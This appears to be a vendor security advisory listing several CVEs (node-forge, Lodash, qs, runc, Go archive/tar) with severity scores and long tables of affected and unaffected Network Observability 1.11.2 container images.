A flaw was found in node-forge. This vulnerability allows unauthenticated attackers to bypass downstream cryptographic verifications and security decisions via crafting ASN.1 (Abstract Syntax Notation One) structures to desynchronize schema validations, yielding a semantic divergence.
8.7 (High)
Affected products
Fixed
8 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Lodash. A prototype pollution vulnerability in the _.unset and _.omit functions allows an attacker able to control property paths to delete methods from global prototypes. By removing essential functionalities, this can result in a denial of service.
8.2 (High)
Affected products
Fixed
8 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in qs, a module used for parsing query strings. A remote attacker can exploit an improper input validation vulnerability by sending specially crafted HTTP requests that use bracket notation (e.g., `a[]=value`). This bypasses the `arrayLimit` option, which is designed to limit the size of parsed arrays and prevent resource exhaustion. Successful exploitation can lead to memory exhaustion, causing a Denial of Service (DoS) where the application crashes or becomes unresponsive, making the service unavailable to users.
7.5 (High)
Affected products
Fixed
8 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
17 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in runc. This attack is a more sophisticated variant of CVE-2019-16884, which was a flaw that allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation applied for CVE-2019-16884 was fairly limited and effectively only caused runc to verify that when we write LSM labels that those labels are actual procfs files.
8.2 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
21 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:17be6b67f5ed6757b65df0d59dc5d59130ee2e3510c60453de77fadfd7ca3c16_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:325db5ee476d5467e24748b6a66def44ff06e91e7e0665f43a49d7df9dbc9870_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:7ed8059b6fb8ccc57c6c6aca6c826e4b45db3079cdf6d2854dec467a94fe46ab_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-compat-rhel9@sha256:a9d0f02ab4310c5a2b2026f424a07d35bcd2ab74e5f9fabba10a2514bef29545_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:3f4b1539a41af46e0dcc3ee1e06d760b504448190cf1f5963171e504cbcb82e2_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:4cb55d496e82d09f2a9f57f1b676d24134b1e4f817e10d4535581d4cb2728502_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:77695f611b1122150c84ee648c674037c488007684d8644a5fc420e111e447b1_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-console-plugin-rhel9@sha256:bb0f0e05c7bb037cd07c260a8fcea50fb62cc433d8cd504c4bb065f994c359c6_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:0d23eb03050bcf371d44613a679456222b064cd3a6c17ea9a3c34f1ac7e3cbfc_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:619759fd4607dbb26e8ef0d47f50f8ec24323f0766167e4df15c51d6c31b9be7_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:e72278e61f7300880988fbac4e4e728e7f2ad14c3061ac39ece0d59a3cd5e228_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-ebpf-agent-rhel9@sha256:f85ae8937c0d75a29dfe601110e5b358f8d92bb85bb43fff9bc88667ad43e4dc_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:84a41b297f620c777236b298ee3dca1656916757cfb043f96c035656f8b9c353_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:8b660cd90abfe68d05668562155759079e7012448c142234ea3a37e6ee41436d_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:9e495db6e28bb6e38b263557d303081ed3199039dc1e7d18c704be8b64d8dd18_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-flowlogs-pipeline-rhel9@sha256:c2a7793ccbaf491a6018f3dd63b10f29e205441d1dd7ca9184b1b46f6db4b199_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-operator-bundle@sha256:6cc2706d0f934502e78d4f4585e0787a84e6751ff946568c21dbe7a87df699df_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in the archive/tar package in the Go standard library. tar.Reader does not set a maximum size on the number of sparse region data blocks in GNU tar pax 1.0 sparse files. A specially crafted tar archive with a pax header indicating a big number of sparse regions can cause a Go program to try to allocate a large amount of memory, causing an out-of-memory condition and resulting in a denial of service.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:3180d33b433733fc469a0a8b2bf613f137eba10fd75f8bc586066d4d303a3a5f_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:5938d399221a1f7ad395ea18adf0fd5274e009f1de48114bc4d07968566b7209_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:9b5e5c68ff2fdd5ca27e34e8eda5d0e8a230eea65cdfa768a6f6643c1a35da76_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-rhel9-operator@sha256:cfa8bd4f51b690217a305347ac412ee4efed2bdea695fa99f8f771c4f271b59c_arm64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
21 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:0c677aebfafea3f13c298396e9975da6fb392df0cef1b62df54d66b0f08376a3_arm64 | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:472aaa4cabacdc52ecd2cd9d25710027612cc1c92a4a2685bf5321507028ec0d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:9266caf90f473509cbd104e1d00b57a4695f16cf4e0be53819560821e0236461_s390x | — |
Workaround
|
|
| Unresolved product id: Network Observability (NETOBSERV) 1.11.2:registry.redhat.io/network-observability/network-observability-cli-rhel9@sha256:a852fe93a3de2a35b3f13cfa0ea0600f9518d4b97c123353eb2b4f78202e7967_amd64 | — |
Workaround
|
|
